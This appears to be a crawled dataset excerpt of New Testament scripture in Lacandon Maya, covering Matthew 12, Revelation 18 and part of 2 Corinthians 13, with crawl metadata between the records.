judío a farisejobo':\n―A teno' baxuquenechex, cu ts'urintiquen tu cotor ba', cax a ba' cu yiric mac tu q'uinin tu cu jesicob u bʌj u winiquirob judío ―quij Jesús.\nA xibo' a mʌ' u jitir u c'ʌbe'\n(Mr. 3.1‑6; Lc. 6.6‑11)\n9 Ra' u q'uinino' Jesús caj toc p'at u winiquirob judío a farisejobo', caj bin Jesús, caj oc tu cu naj c'ujinticob C'uj u winiquirob judío.\n10 Ti' yʌn xibi' a mʌ' u jitir u c'ʌb. Caj c'ata'b ti' Jesús ten u winiquirob judío:\n―Are to'onex. Tsoy wa jic jawsic mac tu q'uinin ic jesicob ic bʌj?\nU c'at u pac'arob u pach Jesús, rajen caj u tus c'atic u winiquirob judío.\n11 Jesús caj u nuncaj:\n―A techex ―quij Jesús―, wa cu rubur a wʌrʌc' tʌmʌn yuc. Cu rubur tu ch'ica'an. Mʌ' wa ja joc'sex enan tu q'uinin tu ca jesiquex a bʌj? A mʌ' ca joc'siquex a wʌrʌc' tʌmʌn yuc xan enaj tu q'uinin a jesiquex a bʌj.\n12 Mʌ' ja wirej, a xibo', jach co'oj enan a wʌrʌc' tʌmʌn yuc a ca joc'sique', mʌ' neco'oji'. Rajen tsoy a man a yamtiquex mac tu q'uinin tu ca jesiquex a bʌjex. Mʌ' ja wirej, mʌ' c'asi' ―quij Jesús.\n13 Jesús caj u t'ʌnaj xib a mʌ' u jitir u c'ʌb:\n―Tich' a c'ʌb ca'anan ―quij Jesús.\nCaj u tich'aj u c'ʌb, caj jawij u c'ʌb an ten bic jumbuj u c'ʌb caj jawij.\n14 Caj joc'ob u winiquirob judío a farisejobo' caj irob jawij u c'ʌb a mʌ' ju jitir u c'ʌb. Caj u rʌc much'quintob u bʌjob a farisejobo' quir u tsicbʌticob ti' u rac'ob soc yubicob bic tabar ca' bin u quinsejob Jesús.\nToc ara'b ten yʌjtseq'uirob u t'ʌn C'uj: Je' u tar Cristo\n15 Jesús caj yubaj ba' cu tucricob. Caj u p'ʌtaj u cajar a mʌ' u jitir u c'ʌb, caj bin Jesús. Caj uya'b u bin Jesús, caj binob a pim mac ich u pach Jesús. Caj rʌc jawsaj u yajirob.\n16 Caj ya'araj Jesús ti' a tu jawsaj:\n―Mʌ' a yʌn bin a wa'arex wa tin jawsajechex soc mʌ' yerob mac tu tuchi'tajen C'uj.\n17 A baywo' caj u nup'saj Jesús a ba' ts'ibta'b ti' ten Isaías uch. Mʌ' ja wirej, caj ya'araj Isaías caj ara'b ti' Jesús:\n18 A jera' in c'urew, ra' cu beyaj ten, a mac caj in tetaj, quij Isaías, ti' C'uj. A mac caj in yajquintaj qui' in wor yejer a tin tetaje', quij Isaías, quire' yʌn u Taj'or u Pixam C'uj ti' in c'urew. Je' u bin ʌcʌtan tu cotor mac quir u tsec'tic in t'ʌn soc u manob tu tsoyir. Cax ich a mʌ' u winiquirob judío cu bin ʌcʌtan quir u tsec'tic ti'ob.\n19 Mʌ' ju ts'ictar in c'urew, mʌ' u nunquic u t'ʌn mac, in c'urew, quij Isaías. Mʌna' mac cu bin yubic u ts'ictar in c'urew. Mʌ' u bin u tupsic yor mac, a caj u yac't u bʌj quire' u si'pir.\n20 Chen cu bin chichquintic yorob. Rajra' cu bin u betic soc ca' bin c'uchuc tu q'uinin cu bin manob tu tsoyir. A raji'ob, a mac a ti' yʌn yoc'ocab a cu bin u yacsicob tu yorob ti'.\n21 Rajen tu cotor mac ich u cajarob caj u pajob Cristo quir u tocar ten C'uj.\nBaxuc caj ya'araj C'uj ti' Isaías uch caj u ts'ibtaj.\nPac' u pach Jesús aca'an quisin ti'\n(Mr. 3.19‑30; Lc. 11.14‑23; 12.10)\n22 Caj tar purbir xib ten u rac'ob a ch'op u wiche'. Mʌ' ju joc'ar u t'ʌn quire' yʌn c'ac'as quisin ti' xib. Caj u jawsaj Jesúso', caj joc' u t'ʌn, caj yiraj u berir xan.\n23 Caj jaq'uij yorob u rac'ob caj yirob u jawar a mʌ' u joc'ar u t'ʌn, a ch'op u wich uche'. Caj ya'araj a pimo':\n―Mʌ' wa ju parar ic nunquirex David a caj ic pajex ca' tac?\n24 A ju winiquirob judío a fariseobo' caj yubob a ba' ara'b ten u rac'ob. Caj ya'arob:\n―A je' xiba' cu joc'sic quisin. Mʌ' ra' ts'ic u muq'ui' u ts'urir quisin. U muc' u ts'urir quisin Beelzebú caj u joc'sej quisin.\n25 Caj yubaj Jesús a ba' caj u tucraj u winiquirob judío a fariseobo'. Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Wa ju wʌc'ʌs bʌjiri' cu bin ts'ictar ich u ru'umin tu cu reyinticob rey. Je' u rʌc ch'esicob u bʌj. Cax ich u chan cajar tu cu bin u ts'ictarob. Cax wa ju wʌc'ʌs bʌjob cu ts'ictarob je' u rʌc quinsicob u bʌj.\n26 Bayiri' a quisino', u jach c'aba' Satanás. Wa ju yet quisinin bin u joc'sejob. Jeroj caj u toc ch'esob u bʌj. Jeroj mʌna' quisin.\n27 Jesús caj u nuncaj ti' u winiquirob judío a fariseobo':\n―A techexo', ca wa'ariquex caj in joc'saj c'ac'as quisin yejer u muc' Beelzebú. Wa taj a ba' ca wa'ariquex ―quij Jesús―. Arex ten bic tabar cu joc'sic c'ac'as quisin a camsʌwiniquex?\nCaj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Cu joc'sicob quire' c'ac'as quisin yejer u muc' jach ts'ur Beelzebú xan. Mʌ' ju joc'sejob quisin yejer u muc' Beelzebú. Rajen a camsʌwiniquex xan, cu yesicob mʌ' taj a ba' ca wa'ariquex ti' ten ―quij Jesús.\n28 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―A teno', quin joc'sic c'ac'as quisin ―quij Jesús―. Quire' caj u ts'aj ten u Taj'or u Pixam C'uj. Rajen chʌca'an a wiriquex ti' yʌn u muc' C'uj tu yʌnechex.\n29 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Bic tabar in joc'sic u c'ac'as quisin wa mʌ' tin yʌn rubsaj u muc' u jach ts'urir quisin, Satanás? A baywo' ―quij Jesús―, c'ucha'an in wor in joc'sic quisin. Quire' aro' irej a mac oquij ich yatoch a mac chich u muc' irej wa caj u c'ʌxaj soc u rʌc ch'ic u ba'tac.\n30 'A mac a mʌ' ju yamtiquen, cu p'actiquen an ten bic a p'actiquenex. A mac mʌ' ju cha'ic ca' in taquic mac caj u joc'saj u rac'ob ca' xicob ich c'ac'.\n31 'Rajen quin wa'ariquex tech ―quij Jesús―. Techex ca p'astiquenex caj a wirex in joc'sic c'ac'as quisin. Cax ca p'astiquenex ―quij Jesús―. Cax ca pach'iquenex quin jawsiquex a si'pirex.\nCaj ya'araj Jesús:\n―Wa ca p'astiquex u Taj'or u Pixam C'uj mʌ' biq'uin cu jawʌr a si'pirex.\n32 A teno', taren in yamtej tu cotor mac. A mac a cu p'astiquene', je' u jawʌr u si'pire'. A mac a cu jach p'astic u Taj'or u Pixam C'uj mʌ' u bin jawʌr u si'pir, cax u q'uinin baje'rer, cax u q'uinin u xur t'ʌn, mʌ' u jawʌr u si'pir.\nA werex wa ba' che'er a mʌ' u wichʌncʌr\n(Lc. 6.43‑45)\n33 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Wa ca wiriquex u che'er a cu wichʌncʌr. Mʌ' a werex wa jach tsoy u che'er wa c'as u che'er. Wa chʌca'an a wiriquex wa tsoy u wich a wer tsoy u che'er. Bayiri' xan, wa chʌca'an a wiric wa c'as u wich a werex c'as u che'er. Rajen a werex biquira' u che'er. Cʌnex ti' aro'. Mʌ' a chen man a pʌq'uiquex u pach a rac'ob, an ten bic caj a wa'arex ten quin beyaj yejer quisin ―quij Jesús―. A mac cu man tu tsoyir ca' a wa'arex: \"Tsoy a rayo'\", an bic caj a wirex in joc'sic c'ac'as quisin. Mʌ' wa tsoy ca' in joc'sej quisin? ―quij Jesús―. A mac mʌ' ju man tu tsoyir ti' cu man tu c'asir.\n34 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―Jach c'asechex ―quij Jesús―. Ti' cu joc'ar a t'ʌnex ich a chi'ex an ten biquechex can. Mʌ' ja wirej, a cano', cu chi'ic mac. Mʌ' u joc'ar tsoy a t'ʌnex. Mʌ' ja wirej, toc c'asechex. Rajen mʌ' taj a ba' ca wa'ariquex, quire' a ba' cu joc'ar ta chi'ex ti' cu tar ich a pixamex quire' c'as a pixamex.\n35 Caj ya'araj Jesús:\n―A xibo', wa toc tsoy cu joc'ar u t'ʌn, toc tsoy u pixam. Baxuc xan, a xibo', wa c'as cu ya'aric, mʌ' toc tsoy u pixam. Mʌ' ja wirej, c'as cu ya'aric.\n36 Rajen quin wa'aric techex. Taj quin wa'aric techex, ra' u q'uinin ca' bin xuruc t'ʌn a ba' caj a wa'arex ra' ca bin a wuyiquex ya'aric techex C'uj. Quire' c'as caj a wa'arex. Tu cotor mac cu bin yubic ya'ara' ten C'uj u ric'smʌnex a t'ʌnex C'uj.\n37 A wʌc'ʌs t'ʌnex cu bin u ta'quiquex a jo'rex quir a bin erarex. Bayiri' xan, a wʌc'ʌs t'ʌnex cu bin u taquiquex soc mʌ' a werarex.\nA mac c'as cu tar u tus c'atej carem beyaj\n(Mr. 8.12; Lc. 11.29‑32)\n38 Caj tarob u winiquirob judío a fariseobo'. Caj c'ata'b ti' Jesús. Yet tarac yʌjcamsʌyʌjirob u t'ʌn Moisés. Mʌ' ya'ab tarob ich Jesús. Caj ara'b ti' Jesús ten u winiquirob judío a fariseobo' yejer u camsʌyʌjirob u t'ʌn Moisés:\n―Esej to'onex carem beyaj in wʌjcamsʌyʌjirech soc ij querex tarech ich C'uj.\n39 Caj u nuncaj Jesús:\n―A techexo', a mac cʌja'an tu q'uinin baje'rer jach c'asechex. Mʌ' taj ca c'ujintiquex C'uj. Rajen caj a tus c'atenex ca' in wesic techex carem beyaj. Jari' ca bin a wirex an ten bic Jonásen, u yʌjtseq'uirir u t'ʌn C'uj uch, soc a werex taren ich C'uj.\n40 An ten bic Jonás ti' yʌn ich u japnin u nʌc' cʌy. Caj ruc' ten cʌy a caremo'. Mʌna' u nup' u q'uinin ti' yʌn Jonás ich u japnin u nʌc' cʌy. Ac'bir xan ti' yʌn Jonás. Baxuc ten xan biq'uino' mʌna' u nup' u q'uinin ti' yʌnen ich u japnin ru'um xan. Mʌna' u nup' ac'abir xan ti' yʌnen quire' taren in yamtic mac tu cotorob.\n41 Caj ya'araj Jesús:\n―C'aj techex wa Jonás caj bin u tsec'tej u t'ʌn C'uj ich u cajar Nínive caj joc' ich u nʌc' cʌy. Caj u rʌc c'axaj tu yorob ca' u rʌc p'ʌtob u manob tu c'asir tu cotor mac ich u cajar Nínive.\nJesús caj ya'araj:\n―Ca' bin xuruc t'ʌn, a mac caj u c'axaj tu yorob caj u p'ʌtajob u c'asirob ich u cajar Nínive cu bin ya'aricob: \"Jach c'asechex\", mʌ' ta c'axex a worex soc a p'ʌtiquex a c'asirex cax caj a wirex in tar in tsec'techex a wu'yex u t'ʌn C'uj ―quij Jesús―. Jach manan in tsec'tic techex ―quij Jesús―. A Jonáso' mʌ' nec'ucha'an yor u tsec'tic.\n42 C'aj wa techex, caj tar xquic reina tu cu reyinticob u ru'umin Etiopía. Tar yubej a ba' cu najtic Salomón tu cotor a ba' ti' yʌn ich yoc'ocab. Cax jach nach caj tar yubic ich Salomón. Ca' bin xuruc t'ʌn je' ya'aric xquic ti' C'uj: \"Jach c'as aro' a mac cʌja'anob tu q'uinin ti' yʌn Jesús ich yoc'ocab. Quire' mʌ' tu c'ʌmajob u t'ʌn Jesús.\" Chen a teno' ―quij Jesús―, taren in tsec'tic u t'ʌn C'uj quir a najtiquex, chen mʌ' a c'ʌmexi'. Chen a Salomóno', mʌ' ne manan u camsic. A teno' ―quij Jesús―, jach manan quin camsic tu cotor mac.\nA c'ac'as quisin ―quij Jesús―, cu wʌc'ʌs ur tu cʌja'an a mac aca'an ti'\n(Lc. 11.24‑26)\n43 Caj ya'araj Jesús ti' u winiquirob judío a fariseobo':\n―A techex irex a mac aca'an c'ac'as quisin ti' uch. Caj joc quisin' caj bin ich tʌcay ru'um quir u cʌjtar quisin chen mʌ' tu yiraj.\n44 Rajen a c'ac'as quisino' u c'at u wʌc'ʌs ur ich winic tu joc'sa'b uch. Caj tar yiraj jach tsoy, irej naj, toc mista'an.\n45 Rajen rʌc bin u pʌyic yet quisinin. Siete caj u pʌyaj u yet quisinin. Jach manan c'asir u yet quisinin. Caj wʌc'ʌs oc ich a xibo'. Jach manan c'as, a ucho', mʌ' nec'asi'. Baxuc ca rʌc bin a cʌniquex a cuxa'anex mac baje'rer ―quij Jesús―, a ra' aca'an u quisinino'.\nCaj tar irbir Jesús ten u nʌ' bayiri' u yits'inob caj tarob\n(Mr. 3.31‑35; Lc. 8.19‑21)\n46 Jesús mʌ' toy ts'ocac u tsicbar yejer a pimo' caj c'uchij u nʌ' Jesús yejer yits'inob Jesús. Tar xur nach tu mʌna' mac, quire' pim bʌcrista'b Jesús. Tarob u tsicbarob yejer Jesús.\n47 Caj ara'b ti' Jesús ten mac:\n―Tu t'ʌniquech a nʌ' yejer a wits'inob ―quij―. U c'at u tsicbar yejerech a nʌ' ―quij―, quet yejer a wits'inob.\n48 Caj t'an ten Jesús ti' a mac a tar t'ʌnbir Jesús:\n―Taj ca wa'aric, ra' in nʌ' yejer in wits'inob.\n49 Caj u tuchbar ti' u camsʌwinic, Jesús:\n―A jera' irob in jach nʌ'. A jeroj irob in jach its'inob.\n50 Mʌ' ja wirej, a mac cu man u betic a ba' tsoy tu t'ʌn C'uj, in Tet ca'anan. Ra' irej in jach nʌ'. Ra' irej in jach its'inob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT12.html","date":"2022-06-30T06:54:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00375.warc.gz","language":"lac","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000029802322388}","num_words":2443,"character_repetition_ratio":0.1,"word_repetition_ratio":0.002,"special_characters_ratio":0.298,"stopwords_ratio":0.496,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nU rubub u cajar Babilonia\n1 Caj ts'oc in wʌyʌc'tic a ray xquico', a curucbar ich u jo'r wits, a sietejo'. Caj in wʌyʌc't u jer yʌjmasir u t'ʌn C'uj. Tar emij ich ca'anano', raji' turiri' u jach ts'urir ich u yet yʌjmasirob u t'ʌn C'uj. Raji' caj u yerc'ac'tic u ru'umin ich yoc'ocab quire' pot sasir u winquirir.\n2 A ray yʌjmasir u t'ʌn C'uj caj u puraj u t'ʌn, ch'ic c'am caj u puraj u t'ʌn, tan ya'aric:\n―U cajar Babilonia cu bin ch'esa'bir ten C'uj soc u cʌjtar u quisinin tu yʌn u cajar Babilonia uch. Tiri' xan, cu bin u cʌjtar a ba' jach c'as, bayiri' xan, a ba' p'acta'b ten mac, cax ch'ich', cax bʌc'.\n3 Mʌ' ja wirej ―quij―, a raj cajaro' ya'arob u man yirej xquic. Bayiri' xan, a xquico' ya'arob u man yirej xib cax ich tu cotor mac ich yoc'ocab. Bayiri' xan, u cajar Babilonia caj ya'arob a mac a cu co'nan quir u manob xan, an ten bic baxuc a ti'obo'. Rajen a mac a cu co'nan tu jach t'ajʌr u taq'uino' quire' a cu manobo'. Robob, caj cuxrajob ti' u nonoj bʌjiri'e', tan u manob a cu pachticob tu yorob a c'axo'. A cu co'nanob caj u purob ich u cajar Babilonia a ba' u pachtajob quir u manob tu c'asir ―baxuc caj u ya'araj yʌjmasir u t'ʌn C'uj.\n4 Jeroj, caj in wu'y u jer t'ʌn mac ich ca'anano' tun. Raji' caj u ya'araj:\n―A techexo', a mac a tu yacsob tu yorob ti' C'uj. Cojenex, ca' a p'ʌtex u cajar Babilonia soc mʌ' a pʌyic a si'pirex xan, soc mʌ' p'eri' ca bin a wu'yex u ts'iquir C'uj, quire' ra' u bo'orir u si'pir a cu bin tuchi'bir ti' ten C'uj.\n5 Mʌ' ja wirej ―quij―, u si'pir u cajar Babilonia, quire' jach c'as, rajen yiraj C'uj. Raji' mʌ' tabar u tubur ti', a C'ujo'. Raji' tu c'ʌ'otaj, rajen bin u ca' bo'ot u si'pirob.\n6 A techo', C'uj ―quij ya'araj ti'―, ar u toc qui' bo'ot u bo'orir u si'pirob u cajar Babilonia. Toc bo'ot a ti'obe', mʌ' chen teni', ca' a wʌc'ʌs ca' bo'otej ti'ob, soc jach manan cu yubicob, quire' baxuc raji' caj u bet a ti'ob xano'.\n7 C'uj, toc ar u muc'yaj u cajar Babilonia. Ar u toc betej ca' oc'ar xan, quire' nonoj cuxrajob u bʌjiri' u c'ate', tan u beticob a ba' c'asir cu pachticob tu yorob. Mʌ' ja wirej, raji' cu ya'aric tu pixam ti' u nonoj bʌjiri'e': \"A teno', quij, xquiquen, a teno', u reyintiquenob mac. A teno', mʌ' tucur in ca' an ten bic xquic a quim u mam. A teno', quij, mʌ' jin bin in muc'yaj.\" Baxuc cu ya'aric u cajar Babilonia.\n8 Mʌ' ja wirej, u cajar Babilonia seb cu bin u ts'abʌr u muc'yaj. A mac a cʌja'anob tu cajar Babilonia, je' u quiminobe'. Robob je' u tucurobe'. Robob je' u wi'ijchʌjʌrobe'. Je' u tocarob yejer c'aq'ue' xan. Mʌ' ja wirej, a Jach Ts'ur C'ujo' c'ucha'an yor u tuchi'ta'r u yajirej an ten bic caj u toc a'araj C'uj.\n9 Mʌ' ja wirej, robob a reyobo', a mac a tu p'eri'quintob u bʌj tu cu manob tu cajar Babilonia a tan u yiricob xquic, bayiri' a tan yiricob xib. Robob, a reyobo', caj nonoj cuxracob ti' u bʌjiri'e', tan u beticob a ba' c'asir cu pachticob tu yorob. Robob bin u ca' yac'tob u cajar Babilonia ca' bin ch'esa' ten C'uj. Robob bin u ca' u tucrob u cajar Babilonia ca' bin yirob u tocar, ca' bin yirob u nacʌr u buts'ir tu cu yerar.\n10 Robob, a reyobo', mʌ' ju bin u nats'ob u bʌj quir u taquicob u cajar Babilonia quire' u sajac u yubicob. Robob bin u ca' ya'arob:\n―Ay, quen, ay quen. Otsir u cajar Babilonia quire' ch'esa'bir ten C'uj. Cax qui' yorob uch. Mʌna' ba' caj u tucraj uch, chen seb caj c'uchij tu q'uinin u ts'iquir C'uj a ti'e' ―baxuc cu bin ya'aricob.\n11 Robob, a mac a cu co'nan, ti' u cajar Babilonia, cu bin u ca' u jach ac'tob u bʌj, tan u yoc'arob quire' mʌ' tu cu bin u canob u ba'tac ich u cajar Babilonia mʌ' cu bin u canejob biq'uin.\n12 Mʌ' ja wirej, a mac a cu canicob ti' u cajar Babilonia caj u canob ti' a chan tunich, a jach co'ojo' yejer a sʌc ujo', ra' u c'aba' perla. Robob caj u canob ti' u noc', ra' sʌc noc'o', u c'aba' lino. Bayiri' xan, chʌc noc' a cu naj buquinticob a reyo'. Caj u canob ti' noc'o' a sʌcta'bir noc', a ju c'ucho', a cu tar ich u c'an a noc'o', u c'aba' xan seda, jeroj caj u canob u jer chʌc noc' xan. Robob, caj u canob ti' che' a nequi' u boque' irej naba', bayiri' xan, cu canicob u che'er a jach co'ojo' irej punʌ', jach co'oj, bayiri' xan, cu canicob ti' tu cotor ba' a beta'b u coj a bʌc'o', u c'aba' elefante, chen a ba' beta' u cojo', ra' u c'aba' marfil. Robob caj canob ti' a chʌc taq'uino', bayiri' xan, mascab, bayiri' xan, tunich a jach yuro', u c'aba' mármol.\n13 Robob cu canicob u sor che', a jach qui' u boco', bayiri' xan, ts'ac a qui' u boco', quir u jic'tic tu bʌq'uerob, bayiri' u yits, a qui' u boc, u c'aba' mirra, bayiri' xan, a qui' u boco' a cu jic'ticob tu jo'rob, bayiri' xan, u yuc'ur u c'ab u wich uva, a cu yuq'uicob. Robob caj u canicob ti' sas yejer u wich bax nʌr, a jach tsoyo', yejer u yo'och trigo. Robob caj u canob ti' u yʌrʌc' burro yejer u carro a cu jita'r ten yʌrʌc' tsimin, bayiri' xan, caj u canob u yʌrʌc' tʌmʌn yuc, bayiri' xan, u yʌrʌc' chivo, bayiri' xan, u yʌrʌc' tsimin quir u cʌptarob tu pach. Cax winic caj u c'ʌnob, cax xib caj u canob, cax xquic xan, caj u canob.\n14 Ca' bin arac ti' u cajar Babilonia:\n―Ra' u wich che' caj a pachtex uch, cax a ba' tsoy ta chi'ex, mʌna' mac cu tar purbir techex quir a mʌniquex, cax a ba'taquex, mʌ' biq'uin ca' bin a wirexi' ta cajarex ―baxuc cu bin ara'bir ti'ob.\n15 A mac a cu caninob uch ti' a ray cajaro', a mac a tu nejarob u taq'uino' ti' u cajar Babilonia. Robob, mʌ' ju bin u nʌts'ob u bʌj ti' a ray cajaro' quire' jac'a'an yorob ti'ob, quire' sajʌcob caj u yirob u ts'abʌr u muc'yaj ich u cajar Babilonia. Robob je' u yac'ticob u cajar Babiloniaje', tan u nequi' ac'ticob.\n16 A ray cu conanobo', je' u ya'aricobe':\n―Ay, quen, ay, quen, otsir u cajar Babilonia a jach no'jo'. Irech uch a xquico' a ju buquinmʌn u sʌc noc', u c'aba' lino, quire' jach tsoy. Toc yʌn tech chʌc noc' yejer bara'an chʌc noc', ra' nich'a'an ta noc' u mascabir oro yejer u tunichir a jach co'ojo' yejer a sʌc ujo', u c'aba' perla.\n17 Quire' to'onex, je' u ya'aricob a mac cu conanob, ra' irej turiri' hora mʌ' turiri' q'uini' an ten bic caj tsec'ta'b ti' u cajar Babilonia wa ber caj ch'esa'b ten C'uj tu cotor u ba'tac tub u tar u taq'uin uch ―baxuc je' u ya'aricob a mac a cu conanob ca' bin c'uchuc tu q'uinin.\nTu cotor mac a ju ts'urirob u chemic'ac'nab, yejer a mac a cu bin purbirob tu ru'umin yejer a mac u winquirir u chemic'ac'nab, yejer tu cotor mac a cu jaricob u taq'uin tu cu c'anob u chem, robob mʌ' ju nats'ʌrob ich u cajar Babilonia quire' jac'a'an yorob ti'ob.\n18 Robob, je' u bin yiricob u buts'ir tu cu yerar u cajar Babilonia. A ra' u q'uinino' je' u yac'ticob u bʌje', tan u ya'aricob:\n―Jeroj, esej to'onex u jer u cajar an ten bic u cajar Babilonia caj ch'esa'b uch an ten bic u cajar Babilonia caj ch'esa'b.\n19 Ra'iri' xan, je' u tasicob u noy ru'um tu jo'rob soc yerob mac tan u yac'ticob u bʌj. C'am cu bin oc'arob tu cu yac'ticob u bʌj. Je' u ya'aricob:\n―Ay, quen, Ay, quen jach otsir u cajar Babilonia, a jach no'jo'. Quire' yejer u taq'uin caj u mʌnob a ba' jach co'oj ti' u cajar, rajen tu nejarob u taq'uin a mac a yʌnin u chemic'ac'nab tu tu canob ba'. Rajen tabar u ch'esa'r ten C'uj u cajar Babilonia ―baxuc caj u yac'tob u bʌj.\n20 Tu tin wʌyʌc'taj ich ca'anan, caj in pʌctaj caj in wiraj u yʌjmasir u t'ʌn C'uj. Raji' caj u ya'araj:\n―Qui'quint a worex a techexo', a mac a cʌja'an ich ca'anan. Bayiri' xan, a techexo' a tu tuchi'techex Jesús quir a tsec'tiquex u t'ʌn, bayiri' xan a techexo' a ts'ab a tucurex quir a tsicbarex a ba' u c'at C'uj uch, bayiri' xan, a techexo' a mac C'uj yʌninechexo'. Qui'quint a worex, quire' a C'ujo' caj ts'iquij yejer u cajar Babilonia quire' a ba' tu betaj techex uch. Mʌ' ja wirej, C'uj caj u yesaj a techexo' caj a c'ujintex Jach C'uj, rajen tu ch'esaj u cajar Babilonia ti' ―baxuc caj u ya'araj yʌjmasir u t'ʌn C'uj.\n21 A ray u quinino', u yʌjmasir u t'ʌn C'uj, a mac jach chich u muc' caj u ch'aj turiri' tunich an ten bic u ca'ir juch', chen jach manan carem a ca'o'. Raji' caj u pich'intaj ich c'ac'nab, tan ya'aric:\n―An ten bic caj in pich'intaj yejer u chichir in muc' ich c'ac'nab, baxuco' a C'ujo', yejer u chichir u muc' cu bin u ch'esic u cajar Babilonia soc mʌna'.\n22 Caj ara'b ten yʌjmasir u t'ʌn C'uj:\n―A cu jum a arpajo', a cu pʌxicob, yejer a mac a cu pax, mʌ' ju bin uyibir tu cajar mʌ' biq'uin. Cax a chur yejer a mac a cu churo', mʌna'. Cax a cu yutsic u mascabir quir u yutsta'r, mʌna'. Mʌ' ju bin irbir ten mac a cu beyaj tu cu jaric u taq'uino' tu cajar. Mʌ' ju bin irbir ten mac, a xquico' a tan u juch'o', mʌ' biq'uin.\n23 Tu cajar Babilonia, mʌna' mac cu bin irbir u ras quir u yerc'ac'tic u yatoch. Mʌ' ju bin yubob u qui' yor mac a tu cu ch'ic u rac', cax a cu tarob tu cajar, a mac a cu conanob, a mac a jach no'jo' ich yoc'ocab. Chen techex ta tus arex ti'ob soc a pʌyiquex u si'pirob an ten bic techex.\n24 'Caj c'uchij tu q'uinin quir a bin ch'esa'bir ten C'uj. Tij quirex bic tabar ta quinsex a mac a tu camsob u t'ʌn C'uj uch, yejer a mac a tu quibob u t'ʌn C'uj uch, irej wa ta toc quinsex tu cotor mac ta cajarex, cax nach quinsa'bob ―baxuc tu ya'araj yʌjmasir u t'ʌn C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV18.html","date":"2022-07-05T22:38:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00180.warc.gz","language":"lac","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999934434890747}","num_words":1776,"character_repetition_ratio":0.1,"word_repetition_ratio":0.001,"special_characters_ratio":0.301,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nA Pablojo' cu t'ʌnic u yet acsa'orirob\n1 Baje'rer, je' in wʌc'ʌs tar in wirechex tu yʌnechex, aro' mʌna' u nup u tenin caj taren in wirechex. Wa yʌn mac u c'at u ta'quic u jo'r u yet acsa'orirob, jeroj ca' u pʌyej dos wa mʌna' u nup yʌjirirob soc u joc'ar u tajir. 2 Wa ber ti' toy yʌnen yejerechex uch, caj in wa'araj techex, cax baje'rer, mʌ' ti' yʌnen yejerechex tan in wʌc'ʌs ara techex. A teno' caj in wa'araj mac a caj u pʌy u si'pirob uch, bayiri' caj in wa'araj techex uch xan, je' in wʌc'ʌs tar tu yʌnechex, jeroj mʌ' jin bin in jaws u si'pirob. 3 Jeroj je' a tumtic a wirex a ca cʌxtiquex wa Cristo cu ts'ic u t'ʌn ten quir in tsicbar techex. Mʌ' ja wirej, a Cristojo' mʌ' raji' chan ber u t'ʌn wa ber cu pʌyiquechex chich u t'ʌn. 4 Cax Cristo mʌ' ju yesaj wa chich u muc' wa ber caj sinij yejer u cruz, chen baje'rer cuxa'an, bayiri' tan u man ich u muc' C'uj. Baxuc, a ten xano', bayiri' xan, in wet man Cristo, a baywo' je' u chichquintic in muc' C'uj ich u t'ʌn, a quin bin in tsicbar techex wa ber ca' bin c'uchuquen tu yʌnechex.\n5 Tumtex ta wor a wʌc'ʌs bʌjiri'ex wa tan a qui' acsiquex ta worex ti' Cristo soc a werex wa ja wet manex Cristo. Wa mʌ' a wet manex yejer Cristo mʌ' taj a wacsmʌnex ta worexi'. 6 A teno' tin t'ʌn, je' a wu'yiquex ta worex wa taj in wet man Cristo, soc quet bayiri', a werex mʌ' jin tus ar techex. 7 A teno' caj in chich t'ʌna C'uj soc mʌ' a pʌyiquex a si'pirex, chichin. Chen mʌ' jin tucr in beyaj a tin betaj a tu yʌnechex. Jari' in chen c'at ca' manaquechex tu tsoyir. Tsire'ej u jer cu tucricob mʌ' tsoy in beyaj. 8 A teno' mʌ' nanij in mʌ'quintic mac a cu yacsic tu yor a ba' taj. Mʌ' ja wirej, tan in beyaj quire' in c'at wa mac ca' u yacsej tu yor. 9 Rajen chen qui' in wor wa ber quin wu'yic yoc'or ten wa mʌ' tan in chich tsicbar. A teno' in chen c'at ca' chichac a worex ti' u t'ʌn C'uj. A teno' quin t'ʌnic C'uj techex soc a qui' manex tu tsoyir. 10 Mʌ' toy xiquen tu yʌnechex quir in t'ʌniquechex tan in tuchi'tic techex a je' ju'una'. A je' ju'una' cu chich aric techex cax ti' yʌnen nachir. A je' beyaja' a quin betic ra' tu ts'a ten C'uj a teno'. A teno' caj in cʌxta bic tabar in chichquintic a worex ti' u t'ʌn C'uj. Mʌ' jin cʌxte bic tabar in ch'esic a wacsiquex ta worex ti' Cristo.\n11 Baje'rer in wet acsa'orirex ca' u yamtej techex C'uj. Cʌxtex a manex tu tsoyir. In c'at C'uj ca' u yamtej techex soc mʌna' ba' ca tucriquex. Ca' a pacran yajquint a bʌjex. Wa ta nuncajex u t'ʌn a wet acsa'orirex, sisquint a worex. Wa baxuc ca betiquex, jeroj, tan a betiquex a ba' u c'at C'uj. Bayiri' xan, a C'ujo' mʌ' ju jʌs u bʌj techex munt q'uin. 12 Ca' a pacran qui' t'ʌn a bʌjex soc yerob mac a wet acsa'orirex. 13 Tu cotor a wet acsa'orirex yejero'onex tan u t'ʌniquechex.\n14 A teno' in c'at ca' u yam techex ic Jaj Ts'urirex Jesucristo. Ca' u yajquin techex C'uj. Ca' u pʌy a berex u Taj'or Pixam C'uj. Soc a wet manex yejer u Taj'or Pixam 